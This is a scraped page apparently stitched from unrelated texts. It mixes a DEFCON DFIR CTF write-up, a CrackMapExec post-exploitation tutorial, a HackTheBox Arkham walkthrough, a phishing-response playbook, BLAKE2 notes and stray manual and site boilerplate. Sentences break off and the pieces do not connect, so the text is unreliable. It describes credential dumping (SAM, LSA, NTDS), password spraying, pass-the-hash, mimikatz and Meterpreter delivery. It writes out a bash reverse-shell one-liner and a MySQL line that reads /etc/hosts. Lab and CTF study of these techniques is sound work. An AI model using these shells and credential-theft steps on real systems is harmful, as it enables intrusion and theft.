Well, as much as wed surely love to run dir /A to find this file hidden in an alternate data stream on the desktop and then tinker with extracting it and finding the CRC32 hash while Powershell continues to troll us, we can get this information directly by dumping the Alternate Data Stream from Autopsy. Theres a few ways you can go about this, but the easiest is to identify based on the first few bytes that this looks like a PDF. Refer to the 7-Zip Installation instructions for assistance. A 7z archive was deleted, what is the CRC32 hash of the file inside?. Recommended Projects. If nothing happens, download GitHub Desktop and try again. It should contain two jar files: TokenConverter and zxing-core-2.1. Extract the zip file and ignore the Loo Nothing Becomes Useless ack as it has nothing to do with the challenge. to make dumping of credentials and getting a session easy. At the time of writing only 3 people had successfully completed all challenges including the champion Adam Harrison, Evandrix, and myself. Doodle 4 Google. And this is the only information we need for our lateral movement. and then checking its CRC32 hash using 7-Zip. Volatility, Categories: There appears to be a theme used when creating the E01. - 10 Points, 11. Theres a couple of ways of proceeding here, we can put on our red hat and crack it using fcrackzip and the rockyou.txt wordlist which come stock standard like so. What country is Karen meeting the hacker group in?, For this flag we actually need to go further into the email trail and look within the 17th email to find some coordinates. This question is case sensitive., Shuffle back to Autopsy (Alt+Tab sure is getting a workout by this point), and we can find a file called AlpacaCare.docx. Once again, a Cybersecurity firm can help you establish the appropriate protocols in conducting these tasks. git). After determining whom the impacted employees are, immediately change their usernames and passwords, After determining the impacted points in the IT Infrastructure, also immediately change login credentials of the people who have access to those particular resources as well, If the impacted points include Smartphones, immediately execute the Remote Wipe command to those affected Smartphones, so that any sort of sensitive information/data that resides on them will be deleted and cannot be accessed. What messaging application was downloaded onto this machine?. So, if you have valid creds but the main entrance is protected by 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA.Note that you won't me able to perform all the actions you can do through the console, but you might still be able Theres a few ways we can go about viewing this, but one of the easiest is to just run chrome and viee the extension. And with my experience from this tool, I can say that the tool is so amazing that one can use it for situational awareness as well as lateral movement. On the homepage you will notice the Champlain College Digital Forensics Associations Logo. BLAKE2bp is a different algorithm from BLAKE2b and BLAKE2sp is a (with ext). With Powershell I can check the status of UAC and see that it is enabled: For some reason, if I use UNC paths I can access to the administrator directory So this is probably unintended by the box creator but it does get me the flag :), Tags: It is important to keep in mind as well that the physical location of the email server does not necessarily imply that the cyberattacker is located in that geographic as well. All thoughts and opinions expressed here are my own, and may not be representative of my employer, or any other entity unless I am specifically quoting someone. Can you find the Social Security Number for someone with the initials R.C.?. It also offers us numerous modules such as mimikatz, web delivery, wdigest, etc. Submit in UTC as MM/DD/YYYY HH:MM:SS in 24 format. CTF, CyberChef, Zip file opener for android app offers you to zip and unzip your files, documents, audios, videos, and images. This is easily seen with Autopsy. The question is Mooooo, badum tskkkkk). Now if we change this back to a readable format we get the output Jerry. Many times, they will be in a separate location from that of the email server. CTF, In the first method, we will use the parameter rid-brute. Shifting back to Autopsy for simplicity, we can find that the extracted Web Downloads contains the zone identifier for Skype. BitTorrent), or version control Therefore, the greatest emphasis must be placed on this area, which is. What Version of Chrome is installed on the machine?. Using WMI we can get this information quite easily. secure hash of a large amount of data, such as in distributed filesystems (e.g. Carrying out a forensic analysis of file systems is a tedious task and requires expertise every step of the way. A free file archiver for extremely high compression. You signed in with another tab or window. If we look at the file closely we can see it is missing the magic bytes necessary to be identified as a gif. This first question can be solved by opening the start menu. Both custom or already made dictionaries can be given for the attack. o 7-ZIP. Update: The link found from this file is no longer active. Within this file we can see that theres some strings which have been extracted which indicates Karen wants to learn how to use BeEF (Get it? - 5 Points, 07. flag<=https://download.skype.com/s4l/download/win/Skype-8.41.0.54.exe>, Bob told Karen the name of his favorite Alpaca. Awesome Hacking - A curated list of awesome Hacking tutorials, tools and resources. Go Go Gadget Google Extension - 7 Points, 09. In a general sense, the syntax for crackmapexec is: crackmapexec -u -p . What is the flag in C:\Users\Bob\Desktop\WABBIT\1?. - 15 Points, 17. file.asax:.jpg). Determine what controls have failed and take the necessary steps to either rectify them or implement new ones instead. How much money was TAAUSAI willing to pay Karen upfront? Penetration testing is the practice of launching authorized, simulated attacks against computer systems and their physical infrastructure to expose potential security weaknesses and vulnerabilities. 99518 1-888-820-3690 This device complies with Part 15 of the FCC Rules.Operation is subject to the following two conditions: (1) This device may not cause harmful interference,. A collection of awesome security hardening guides, best practices, checklists, benchmarks, tools and other resources. Ravis primary area of expertise is Biometrics. Remote So although that was the worst spy attempt in history, we did get the string MFDfMiTfMyHfMyHfMyj=. At random intervals, have the IT staff launch phony, phishing emails to see if they are picking up what you are teaching them. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. In our practice, we have a brute-forced password on the whole network. Karen had a second partition on the drive, what drive letter was it assigned?, Looking at the Recent Docs section within Autopsy we can see many references to a second drive which was assigned the letter A, What is the answer to the question Michaels manager asks Karen?. Same deal with this question, we just need to modify our grep-foo a little bit given we know the output format. Based on the bash history, what is the current working directory?. Overview of phishing techniques: Fake invoice/bills, Phishing simulations in 5 easy steps Free phishing training kit, Overview of phishing techniques: Urgent/limited supplies, Overview of phishing techniques: Compromised account, Phishing techniques: Expired password/account, Overview of Phishing Techniques: Fake Websites, Overview of phishing techniques: Order/delivery notifications, Phishing technique: Message from a friend/relative, Phishing technique: Message from the government, [Updated] Top 9 coronavirus phishing scams making the rounds, Phishing technique: Message from the boss, Cyber Work podcast: Email attack trend predictions for 2020, Phishing attachment hides malicious macros from security tools, Phishing techniques: Asking for sensitive information via email, PayPal credential phishing with an even bigger hook, Microsoft data entry attack takes spoofing to the next level, 8 phishing simulation tips to promote more secure behavior, Top types of Business Email Compromise [BEC], Be aware of these 20 new phishing techniques. Now we can use various techniques to gain access to the Target machine. CME also provides us with various modules which call upon the third-party tools like Mimikatz, Metasploit Framework, etc. WebPrograms that open or reference EX4 files WindowsAbout this app. What the signs of a phishing email look like, paying careful attention to phony looking Sender names, sender domains, and in particular, any misspellings in either the subject line or the content of the email message. Keep scrolling, no really just keep scrolling down the bash history. appropriate time and memory cost parameters, to What job is Karen told she is being considered for? How to convert a file-based RSA SecurID software token from .sdtid (CTF) format to a QR code in Authentication Manager 8.x. I can write bash too Young, and with this we have our answer. Instead you should use a password hashing function such as the PHC winner with 2.5 rounds, the preimage security of BLAKE2b is downgraded from 512 A: This module will create a registry key due to which passwords are stored in memory. Using a Kali instance, we can use the inbuilt ewfinfo tool to view metadata associated with the Horcrux file which was created with the Expert Witness Compression Format (EWF). There was a problem preparing your codespace, please try again. Steganography is hiding a file or a message inside of another file , there are many fun steganography CTF challenges out there where the flag is hidden in an image , audio file or even other types of files. On the Security Console, assign a software token to a user then distribute it as a file-based token. Looking at the Web Form Autofill section we can see a reference to Karens email address, [emailprotected]. Ill use ysoserial to generate the payload, then write some python to calculate the hmac based on the key provided in the web.xml.bak file. This particular challenge involved a little bit of experimentation, a little bit of OSINT, and a little bit of luck. After extracting them all and browsing through the files we find that one of the PDFs has a base64 encoded appended after the end of the file. This Playbook outlines the steps that a business or a corporation needs to take in such situations. And for this method, use the following command: Once we have dumped hashes, we dont need to use any other tool to pass the hash. Opening this up in FTK Imager mentioned that the second partition didnt actually have a name; however, the third partition did. A rule of thumb is that on 64-bit platforms the best choice is BLAKE2b, Password hashing schemes: Argon2 (by Biryukov, Dinu (CTF) Pcompress: BLAKE2b is the default checksum in this parallel compression and deduplication utility; BLAKE2bp is (e.g. https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.1.1dev, All Rights Reserved 2021 Theme: Prefer by, Lateral Movement on Active Directory: CrackMapExec, In this article, we learn to use crackmapexec. Try to access /auth.jsp and if you are very lucky it might disclose the password in a backtrace. Pull requests. WebSauna is a 20-point Windows Machine on HackTheBox. It appears that Bob may have been playing the role of HR. Although theres a lot of noise due to the email trail we can find the answer in plaintext here. Looking at the file we can quickly identify that this file is a Netscape Looping Application Extension. namely instruction-level parallelism, SIMD instruction set extensions, And then for password spraying, use the following command: Now that we have studied various ways to obtain the password, let now make use of it as CME allows us to remotely execute commands. It extracts the images stored in a PDF file, but it needs the name of an output directory (that it will create for) to place the found images. This is still quite gibberish. The active sessions details can be found from the command given below: To know the password policies that have been applied in the target system, CME provides us with the following command: Executing the above command will give us the details of the password policies as shown in the image above. Przemyslaw Sokolowski, Ron Steinfeld. In this case we know the infected PID which would be potential malware so we can dump this from memory and check its md5 hash. Some areas that should be considered are as follows: Overall, this playbook has reviewed the necessary steps that you need to take in case your business or corporation is impacted by a phishing attack. Although this form of threat has been in existence for a long time, the social engineer of today has become very stealthy in their approaches. Submit in UTC as MM/DD/YYYY HH:MM:SS in 24 format. A look into this reveals that it is quite large and likely a MBR, or a boot sector based on some strings. But we saw that with the help of Crackmapexec or CME it seems quite easier and faster. For any partition we can dump out all of the file hashes to a spreadsheet using the GUI, and then search them for this specific file. Bob was watching youtube videos at work. Launch a command line prompt and navigate to the Token Converter folder. 2015 May 28: As this was created using AccessData FTK Imager we can simply read Horcrux.E01.txt and find this information. Consider hiring an outside cybersecurity firm to assist you in conducting a deep analysis of what really transpired. At first it looks like this string would just need a simple Base64 decoding, but this yields an unusual output. And logoff command to log off the target system. This at first glance still looks incomprehensible; however, this is actually Latin, and a quick Wikipedia search of Champlain reveals this is their motto. JavaServer Faces (JSF) is a Java specification for building component-based user interfaces for web applications[1] and was formalized as a standard through the Java Community Process being part of the Java Platform, Enterprise Edition. The contents of the dictionary are shown in the image below using the cat command. Going by the above syntax, the command is: Find the file with MD5 2BD8E82961FC29BBBCF0083D0811A9DB. Since completing this though the challenge has been updated. Instruct them how to verify the authenticity of any website that they may be using, especially paying attention to the HTTPS in the URL bar. If not, they should be instructed to forward that email message to the IT Security staff; then it should be deleted from the inbox. For this, use the following command: This command will execute the command with the help of the Windows Management Instrumentation (WMI) service. If any of these are happening, they you may want to consider shutting down those systems to conduct a more detailed investigation as to what is happening. A collection of awesome security hardening guides, tools and other resources. flag<0fa6ab4bd9a707d49ded70e8b9198fe18114b369>, What time was the image created? Crackmapexec, also known as CME, is a post-exploitation tool. An application was run at 2019-03-07 23:06:58 UTC, what is the name of the program? This leads us to a sudormrf link file (little bit of Linux admin humor for you there). A bit of trivia, Michael Scotch is the name of a drink invented by Michael Scott from The Office. This doesnt even require the VM and we can find it by the below: flag, Bob has a hidden powerpoint presentation. (Nothing Is As It Seems) The from field: This will contain the name of the sender, X-authenticated user: This will contain the email address of the sender (such as. I check the IMPORTANT.txt message first and see that it contains a hint that the backup.img file is protected. With CME, we can perform password spraying with two methods. Get back to work Sponge Bob me boy - 18 Points, 17. To this module, first open Metasploit Framework using the command msfconsole and then type the following set of commands to initiate web_delivery: It will create a link as it is shown in the image above. Talking about WMI, we can also directly run the WMI command on the target using CME. Sometimes the extracted data is a password protected zip , this tool bruteforces zip archives. If they do not match up, then the link is a malicious one. Copy flag exactly how its found (i.e. HTB, This tool is developed by byt3bl33d3r. In this regard, he has written and published two books through CRC Press. SHA-3 competition (see for example this paper by two of What PID was infected?. Were able to extract the SAM (Security Account Manager) Hive from this machine which is located at C:\Windows\System32\config\SAM. Make sure to save them into your Downloads folder in the CyberStart Virtual Machine. What distribution of Linux is being used on this machine?. At this point we need a key. Work fast with our official CLI. bits to 481 bits, or that the collision security of BLAKE2s is Problem is, where is the password? The syntax for executing commands remotely is: crackmapexec -u -p -x . - 10 Points, 15. This question was a little bit confusing, but if we take it to mean the timezone noted within the email headers, then we can see this is UTC time, which happens to bhe the correct answer. A collection of awesome penetration testing and offensive cybersecurity resources. variant of BLAKE2's permutation. If you dont know about Mimikatz, go check out GentilKiwi AKA Benjamin Delpy. Before going down the path of modern cryptography, we can start experimenting with some different implementations of the common caesar cipher. systems (e.g. Those with a keen eye will notice that the LM hash is in fact the LM hash assigned when there is No Password which in this case means that LM hashes werent enabled on this box (which isnt a bad thing). does 10 rounds. OpenStack Swift), intrusion detection what is the point of using this tool if you already know the admin password? To find out all the lists of the users in your target system, we will use the user parameter. Always make sure that you are on a regular schedule of deploying software upgrades/patches on all of your servers, workstations, and wireless devices. We can provide it with the command string of WMI and it will execute it as shown in the image given below. However, this should be done with careful planning, as this could cause downtime in normal business operations. Tahoe-LAFS), cloud storage systems (e.g. And as we can see that we have a list of users on the target system which we extracted with the help of wmi command strings. No ones ever really gone Palpatine Laugh - 5 Points, 07. Its certainly not stealthy or elegant but its good enough for me here. Firstech> REMOTE User Manual HTML Version User Manual CompuStar SHF 2W AS USER'S GUIDE Firstech, Inc. 230 E. Potter St. Suite #8,Anchorage, AK. java, Did I say lucky? At this phase, the actual contents of the email message need to be examined carefully, as there are many telltale signs which can be difficult to spot at first glance. Those who have a checking or savings account, but also use financial alternatives like check cashing services are considered underbanked. passwords, not BLAKE2, and not MD5, SHA-1, SHA-256, or SHA-3. Once again an easy one for Autopsy. What is the name of the script? What program used didyouthinkwedmakeiteasy.jpg during execution?. This is as easy as restoring the deleted file from the recycle bin, installing 7-Zip which has been downloaded, and checking the CRC32 value, with this you have your answer. Tags: The email contains a reference to Batmans password, which is in the attached image. All the passwords are hashed and then stored SAM. By clicking Accept, you consent to the use of cookies. A: This file might be edited later using other techniques such as using its short filename. We will do this, with the following command: With CME, we can brute-force passwords on a single target system or the whole network. Find answers to your questions and identify resolutions for known issues with knowledge base articles written by SecurID experts. You only want your hash function to be And that sums up the Unofficial DEFCON DFIR CTF for 2019. Bro this is post exploitation tool, it is used after exploitation. WebUsing NTFS alternate data stream (ADS) in Windows.In this case, a colon character : will be inserted after a forbidden extension and before a permitted one. BatShare is accessible in read-only mode and there is a single file in there. Extracting this file and looking at where it is pointing leads us to a file http://ctf.champdfa.org/winnerwinnerchickendinner/potato.txt. WebFirstech> REMOTE User Manual HTML Version User Manual CompuStar SHF 2W AS USER'S GUIDE Firstech, Inc. 230 E. Potter St. Suite #8,Anchorage, AK. A user sud to root at 11:26 multiple times. Alrighty, so for this we know Karen is using Skype to communicate with Bob. Viewing this in HxD we can see that the first 16 bytes indicate it is a JPEG file through the fingerprint JFIF. WebA tag already exists with the provided branch name. ZFS), It is believed this machine was used to attack another, what file proves this?. Somethings wrong though, I cant change directories or see error messages: So what I did was spawn another netcat as batman. It is important to collect as much information and data about the phishing email, and the following items should be captured: Carefully examine the email message, and if there is an attachment with it, make sure that you use the appropriate protocols to download it safely, make sure you store it in a separate folder (or even a zip file), and that it is also password-protected so that only the appropriate IT personnel can access it. Archive: my_protected_info.zip creating: my_info/ [my_protected_info.zip] my_info/my_name.txt password: extracting: my_info/my_name.txt extracting: my_info/my_lastname.txt It is not possible to obtain the original content without the password because it is used to do operations with the content to obtain the resulting The specific kind of phishing email it is. A hidden executable is on the desktop. Once again this can be done using CyberChef. Desktop Flag 4: Want some more? Forensics, ctf-writeups penetration-testing ctf vulnhub oscp ctf-challenges oscp-prep. Where in the world is Carmen Sandiego? Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Can you find a flag within a powerpoint about sales pitches? Here, in our lab scenario, we have configured the following settings on our systems. Editing this with paint reveals our flag. Comparing this to a valid JPEG we can see that some of the first 16 bytes are malformed, by replacing these with valid values the picture is repaired and we get our flag. If you have not distributed software tokens before, you will need to create a software token profile before continuing. This is an Outlook mailbox file and I can use readpst to read it instead of transferring it to my Windows VM. Unfortunately the domain is no longer active, and there are no historical records in the Wayback Machine or otherwise. Awesome Honeypots - An awesome list of honeypot One way of finding this is taking a memory dump of a process using the memdump module of Volatility, and then using strings and some grep foo to find the file in question. to use Codespaces. How many times did Bob visit Outlook.com?. Can you decipher the hidden message?*. Desktop Flag 1: Just the start of the fun - 25 Points, 18. Yes. Or, we can find this in the email Karen sent to herself (email 19), or the corresponding sent items. The tool is developed in python and lets us move laterally in an environment while being situationally aware. To use this module, type the following command: And as you can see in the image above, the registry key is created. How many users have an RID of 1000 or above on the machine?. (Case Sensitive, two words). If there is a suspicious link as well, which takes the recipient to a potential spoofed website, this will also have to be investigated. After the challenge was over, Evandrix and I teamed up to tackle the rest of the challenges and became the second and third person to successfully complete all the CTF challenges. Samhain), integrity-checking local filesystems (e.g. Once again, this question hoodwinked me, it wasnt the full domain of palominoalpacafarm.com which was required, we have to drop the suffix of .com, What is the Created Timestamp for the secret file? Each algorithm produces a different hash value. Copy that link and remotely execute it in the target machine through CME using the following command: And once the above command is executed successfully, you will have the meterpreter session as shown in the following image: Enumeration is an intense task in any Penetration Testing as well as Red Team Assessment. Desktop Flag 2: Electric Boogaloo - 25 Points, 19. What is the username of the primary user of the machine?*. For this challenge I had the following at my disposal: Pre-warning, the answers to the questions are below. Using ChromeHistoryView we can find this information; however, we also need to remember to turn off the setting Show Time in GMT as this isnt specified in this question, and the answer needs to be submitted without taking into consideration 24hr time. Please help me with the directions on how to install/run in windows. Autopsy, Although youd think that looking this up using logonsessions as part of the supplied sysinternals toolkit would suffice, this will actually give you slightly incorrect information causing the flag to be incorrect. mode). So the answer were actually looking for is a screenshot taken of the hacked machines desktop located in the root directory. Hence, the following command: As shown in the above image, the execution of the above command will show the users of the target system. At this point I started to hit a wall, so I had to bring out FTK Imager. Youve got questions? If you have exploited the machine and capture NTLM then you can use this tool. We can see this within downloads, whether we view this in Autopsy or the VM itself is entirely preferential. There is a windows binary for CrackMapExec but the zip file is not an .exe file. This is where FTK Imager begins to shine. This details reverse engineering activities and answers for labs contained in the book Practical Malware Analysis by Michael Sikorski and Andrew Honig, whi 06. After converting it to the appropriate UTC timezone we get the flag. I can use this to construct my own serialized objects and pass them to the server to gain RCE. Based on the answer regarding to the infected PID, can you determine what the IP of the attacker was?. Information and Cyber Security Professional. Contains traffic to/from the target, the NetKoTH scoring server and the IRC server. git). One algorithm is Rot13 which rotates alphabetical characters by 13, and considering these are all alphabetical its a good start. If we go back to what we know, its that ROT13 seems to be a common theme. different results than BLAKE2b in a modified tree mode (say, with fanout For example, BLAKE2b in some tree mode (say, with fanout 2) will produce Hint: Secrets are best kept hidden in plain sight.. Star 685. Then from here checking the details takes us to a URL which has the extension ID. See also Active Directory and ADFS below. Disk image file containing all the files and folders on a disk (.iso) Dynamic Link Library Files (.dll) Compressed files that combine a number of files into one single file (.zip and .rar) Steps in the file system forensics process. luks, In the web.xml.bak file, I find the encryption key for the ViewState. WebTo find each file, log in to your CSA account and go to the listed Base/Level/Challenge. Once again a bit of a strange way of submitting this flag but after this modification it went through a charm. BLAKE2 is fast in software because it exploits features of modern CPUs, What was impacted:servers, workstations, wireless devices, the network infrastructure, other aspects of the IT infrastructure. FTK Imager, WebIndex your source code and publish symbols to a file share or Azure Artifacts symbol server Publish build artifacts Publish build artifacts to Azure Pipelines or a Windows file share These are basic step which will restore the dependencies, build your project, run the test and generate and publish the build with a version at shared drop location. Locating the picture which was mentioned in the previous flag (sleepy.png), we can view this and find a message on a sticky note which becomes our flag. Its features include: Visualization of scalar, vector and tensor data in 2 and Web2 hdpe dr11 pipe Ignitetechnologies / Vulnhub-CTF-Writeups. WebIn a new phishing campaign discovered by security researcher proxylife ( @pr0xylife ), campaign operators have switched from using password-protected ZIP files to install the malware to exploiting a Mark of the Web (MotW) zero-day flaw to run a JavaScript (JS) that executes QBot. On the desktop of the image, you will see a text file called Questions and Answers. Open the file and follow the instructions. Answer without commas or dollar signs.. If you are having issues, please contact @ChampDFA on twitter., flag, What is the domain name of the website Karen browsed on Alpaca care that the file AlpacaCare.docx is based on?. HexEdit, When was Karens password last changed? Examples of this include the following: What actions were carried out by the employees with regards to the phishing email, for instance:Did they download an attachment or did they go to a spoofed website and unknowingly submitted their personal information (or even sensitive business login information). I have used this tool many times for both offensive and defensive techniques. systems (e.g. - 20 Points, 20. (BLAKE2b is more efficient on 64-bit CPUs and BLAKE2s is more efficient on Primary Login - Rudolph:[email protected] Intermediate. The attachment contains a screenshot with Batmans password: Using WinRM I can start a powershell session as batman. has been intensively analyzed since 2008 within the SHA-3 competition, We To discover the IPs on the target network, use the following command: And as shown in the image above, you will have the list of the IPs. What is the MD5 hash of the apache access.log?, Using FTK Imager we can get this by right clicking the file, selecting Export File Hash List, and then viewing the spreadsheet output. What are the initials of the person who contacted Karen, To find this information, we need to find out how they contacted Karen. What is the name of the video?. Windows __. With regards to the latter point in this part, the level and/or severity of the damage needs to be ascertained and ultimately determined. We can actually open this as a PDF, and by selecting all the hidden text we can find our flag. Im a fan of using netcat whenever possible for these types of challenges so I dont need to debug Powershell payloads, etc. If nothing happens, download Xcode and try again. Karen hid them C:\Users\Karen\Desktop\DuanesChallenge somewhere, what is the password to Duanes LinkedIn?. What is the third goal from the checklist Karen created?. of 2048-bit RSA). This could have been tampered with, after all it is just text. Using the vadinfo plugin and a little bit of grep-foo were able to find these protections. Without going into registry forensics, we can still see the name of this drive through the RecentDocs section. Back into Kali once more, we can see that the first email received from Alpaca Activists (email 4 again) has the below reply email. To get a reverse shell, Ill generate a payload that downloads netcat from my machine and store in it c:\programdata. Either the victim is sent a malicious attachment (such as a .XLS or .DOC file extension), or a malicious link to click on. The file-based token will be in a .zip file named AM_Token.zip. Thomas Espitau, Pierre-Alain Fouque, Pierre Karpman. First well need to dump the memory of the notepad process. If you do that, please write to us and let us know what you found. The Unofficial Defcon DFIR CTF comprised of 5 different challenge categories with a total of 82 DFIR related challenges including a Crypto Challenge, Deadbox Forensics, Linux Forensics, Memory Forensics, and a Live VM to Triage. You want your hash function to be fast if you are using it to compute the LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n"; FILE privilege ( Client ) support UNC Path Now lets try and give a mimikatz command as an argument, for doing so the command will be: And so, the command will debug all the privileges as shown in the image above. Heres some themes weve seen so far for anyone who may be a Muggle, or as the US calls it, No-Maj. What is the decoded name of the Evidence File?. An ambiguous question, if you decided to go with the metasploit framework history file which clearly shows an attack, you would be wrong. A tag already exists with the provided branch name. One useful plugin of Volatility is the procdump plugin which allows us to obtain process dumps (executables as they exist in memory) and examine them. good reasons to believe it: But CME provides us with this functionality in just a single execution that any script kiddie can manipulate and perform. Ill get back to that after the SMB enumeration, this is the way in. The Unofficial Defcon DFIR CTF comprised of 5 different challenge categories with a total of 82 DFIR related challenges including a Crypto Challenge, Deadbox Forensics, Linux Forensics, Memory Forensics, and a Live VM to Triage. After the challenge was over, Evandrix and I teamed up to tackle the rest of the challenges and became the Install Ani-phishing toolbars on all servers, workstations, and wireless devices. Originally you had to contact @ChampDFA on Twitter with the relevant information and they would assist you in getting the flag, like so. For this, use the following command: We can also make the use of the PowerShell Cmdlets to execute tasks over the Remote using CME. Hence, making an attacker all-powerful by letting them living off the Land. What protections did the VAD starting at 0x00000000033c0000 and ending at 0x00000000033dffff have?. Remember that a file is just that, a file, and just because it has a python extension .py doesnt mean that it has to have python code I am pretty confident you could just add the same reverse shell (bash -i >& /dev/tcp/127.0.0.1/6666 0>&1) to this script and it would have the same outcome! This email was not accepted as the answer during submission, and as strange as this was I couldnt figure out why. However, for these purposes. Using CME, we will dump the credentials from SAM in the form of hashes by using the following command: The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. Alternatively, Autopsy gives us the same goods. Defcon, - 25 Points, 22. As this was created by the Champlain college, Champlain may be a possible key. This module harvests all the information about the target DNS and displays it on the console. In a new phishing campaign discovered by security researcher proxylife ( @pr0xylife ), campaign operators have switched from using password-protected ZIP files to install the malware to exploiting a Mark of the Web (MotW) zero-day flaw to run a JavaScript (JS) that executes QBot. KeePass. What is the hostname of the Windows partition?. Readpst, What is the Last Accessed time for AlpacaCare.docx? Scroll down, once again just keep scrolling scrolling and we have our answer. Arkham was a medium difficulty box that shows how Java deserialization can be used by attackers to get remote code execution. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Ill use smbmap to quickly scan for accessible shares. A device with the drive letter U was connected. Below details how I went about solving each challenge. How to determine if a link is malicious, by explaining how to hover over the link in question to see if the domain on that matches up to what is displayed. You can download the tool from here. Repeating the same process as before we can dump the SAM and use RegRipper to give us the necessary information. What was the process ID of notepad.exe?. Firing up the VM we have a lot going on, and want to make sure we have minimal impact on the box during triage in case it impacts later questions. Reading between the lines here, I went out on a limb and assumed the answer theyre expecting is actually that of the third partition in this case. Zip file format specification. What OS is installed on this computer? What is the hostname of the Triage machine?. To convert the .sdtid file for an iOS device, change -android to -ios. The RFC includes a So DFA leadership got tiredwhats the flag ON the desktop?. The apache access.log is found at /var/log/apache2/access.log, It is believed that a credential dumping tool was downloaded? I cant get to the Administrator directory because UAC is enabled. Opening up the file in Word, we can see it has a copyright logo with a link to the website it is from. He is also a regular columnist for the Journal of Documents and Identity, a leading security publication based out of Amsterdam. There are different variants of a phishing attack, but in general, it can be defined as follows: Phishing is a cybercrime in whicha target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive datasuch as personally identifiable information, banking, and credit card details, and passwords. 3). 272250.10N, 333754.62. After getting to user Batman with credentials found in a backup file, I was able to get access to the administrator directory by mounting the local c: drive via SMB instead of doing a proper UAC bypass. different algorithm from BLAKE2s. This parallel approach results in different secure hash values from the It is important to note here that phishing attacks have also become highly specialized, such as those of spearphishing and Business email Compromise (BEC). Down Time? Finally we can use the linux mail command to read these emails. I wholeheartedly thank David Cowen (HECFBlog) for the Unofficial Defcon DFIR CTF, and the Champlain College Digital Forensic Association for putting these challenges together. peer-to-peer file-sharing tools (e.g. WebAwesome CTF - A curated list of CTF frameworks, libraries, resources and software. Nows probably a good time to throw this one out there, What is the tool Karen hopes to learn to use? What is the current timezone on the machine? We will be doing this on the whole network, that is why we will specify the IP range instead of just giving IP. Desktop Flag 3: Need for Speed - 25 Points, 20. What is the flag in C:\Users\Bob\Desktop\WABBIT\2?. After changing this the flag was successfully submitted. A lightweight and easy-to-use password manager. I now have the email extracted and a PNG image attachment. Oh, youre not supposed to use the same password for everything? Which will further make our command out to be as follows: So now, as you can see in the image above, running the mimikatz module without any other argument will give the system credentials in the form of hashes. WebAfter subscription to the Site, G2A.COM will open an account and assign a password that may then be changed by the User. A messaging platform was used to communicate with a fellow Alpaca enthusiest, what is the name of the software?. This happens to be the correct flag. Supports dictionary wordlists and bruteforce. BLAKE2bp and BLAKE2sp are designed to be efficient on multicore or SIMD Extract the .sdtid file in the .zip to the directory. Should you discover a vulnerability, After trying the host URL here with no luck, Evandrix mentioned that hed found out it had to include the preceding =. pdfimages. Still appearing like gibberish, we know this is supposed to be a Crypto Challenge. What is the name of the file? Code. Because of how the information was obtained, we can make the assumption this is already in UTC. In a phishing attack, in the end, it is always individuals that are impacted first, then the IT Infrastructure after the login data has been hijacked by the Cyber attacker. Higher-Order Differential Meet-in-The-Middle Preimage Attacks on SHA-1 You can visit the companys website at www.biometricnews.net (or http://biometricnews.blog/); and contact Ravi at [emailprotected], 11 phishing email subject lines your employees need to recognize [Updated 2022], Consent phishing: How attackers abuse OAuth 2.0 permissions to dupe users, Why employees keep falling for phishing (and the science to help them), Phishing attacks doubled last year, according to Anti-Phishing Working Group, The Phish Scale: How NIST is quantifying employee phishing risk, 6 most sophisticated phishing attacks of 2020, JavaScript obfuscator: Overview and technical overview, Malicious Excel attachments bypass security controls using .NET library, Top nine phishing simulators [updated 2021], Phishing with Google Forms, Firebase and Docs: Detection and prevention, Phishing domain lawsuits and the Computer Fraud and Abuse Act, Spearphishing meets vishing: New multi-step attack targets corporate VPNs, Phishing attack timeline: 21 hours from target to detection, Overview of phishing techniques: Brand impersonation, BEC attacks: A business risk your insurance company is unlikely to cover, Business email compromise (BEC) scams level up: How to spot the most sophisticated BEC attacks, Cybercrime at scale: Dissecting a dark web phishing kit, Lockphish phishing attack: Capturing android PINs & iPhone passcodes over https, 4 types of phishing domains you should blacklist right now, 4 tips for phishing field employees [Updated 2020], How to scan email headers for phishing and malicious content. and as we can see from the VirusTotal Report, this is most definitely a malicious Meterpreter Trojan. Windows 10. It abuses the Active Directory security by gathering all the information from IP addresses to harvesting the credentials from SAM. Brooms arent just for sweeping - 5 Points, 13. A: The extension is a cover-up. Author:Yashika Dhir is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Looking into the bash history for the root user, we can see that a super secret file was created previously on the desktop. Most of the links are not functional, but to make sure I didnt miss anything I spidered the website with Burp: The userSubscribe.faces file is the Subscribe link on the main page. downgraded from 128 bits to 112 bits (which is similar to the security and which was one of the 5 finalists. Looking through their follow up email (number 7) we can find the answer to this question. First, we will run Mimikatz directly as a module without giving it any other argument. - 20 Points, 07. i <3 windows dependencies - 20 Points, 03. To use this module, use the following command: And as you can see in the image above all the information is dumped on the console. Karen received a reply to her craigslist ad from a fellow Alpaca enthusiast, what is the email address associated with this reply?. I find a backup file in Alfreds Downloads directory. We have no proof that BLAKE2 is as secure as we claim, but there are From there, then notify the IT staff, primarily those involved with the Security aspects of the organization, that an attack is underway if they are not aware of the situation already. Domain credentials are used by the operating system and authenticated by the Local Security Authority (LSA). Given she was placing a job wanted advertisement on Craigslist, it was highly likely the contact method would be email. As we know, phishing remains one of the most well-known forms of social engineering. Name the child processes of wscript.exe.. Cheatsheet containing a variety of commands and concepts relating to digital forensics and incident response. Should you phish-test your remote workforce? Infosec, part of Cengage Group 2022 Infosec Institute, Inc. Using the same sent email number 7, or ones within Karens inbox we can clearly see this answer as a (albeit misspelled) cyber security analysts. Submit in UTC as MM:DD:YYYY HH:MM:YYYY in 24 format. Contact her onLinkedinandTwitter. Autopsy has a Web History section, and by looking within this we can see Karens zipcode on her Craiglist Post. What process name is VCRUNTIME140.dll associated with?. Theres a lot of information we can gather through the command line. Ive got answers - 20 Points, 19. Have your IT Staff, especially your Network Administrator, stay on top of the latest phishing techniques. Carefully examine the email message, and if there is an attachment with it, make sure that you use the appropriate protocols to download it safely, make sure you store it in a separate folder (or even a zip file), and that it is also password-protected so that only the appropriate IT personnel can access it. Apache OpenOffice. Therefore, LSA has access to the credentials and we will exploit this fact to harvest the credentials with CME by using the following command: NTDS stands for New Technologies Directory Services and DIT stands for 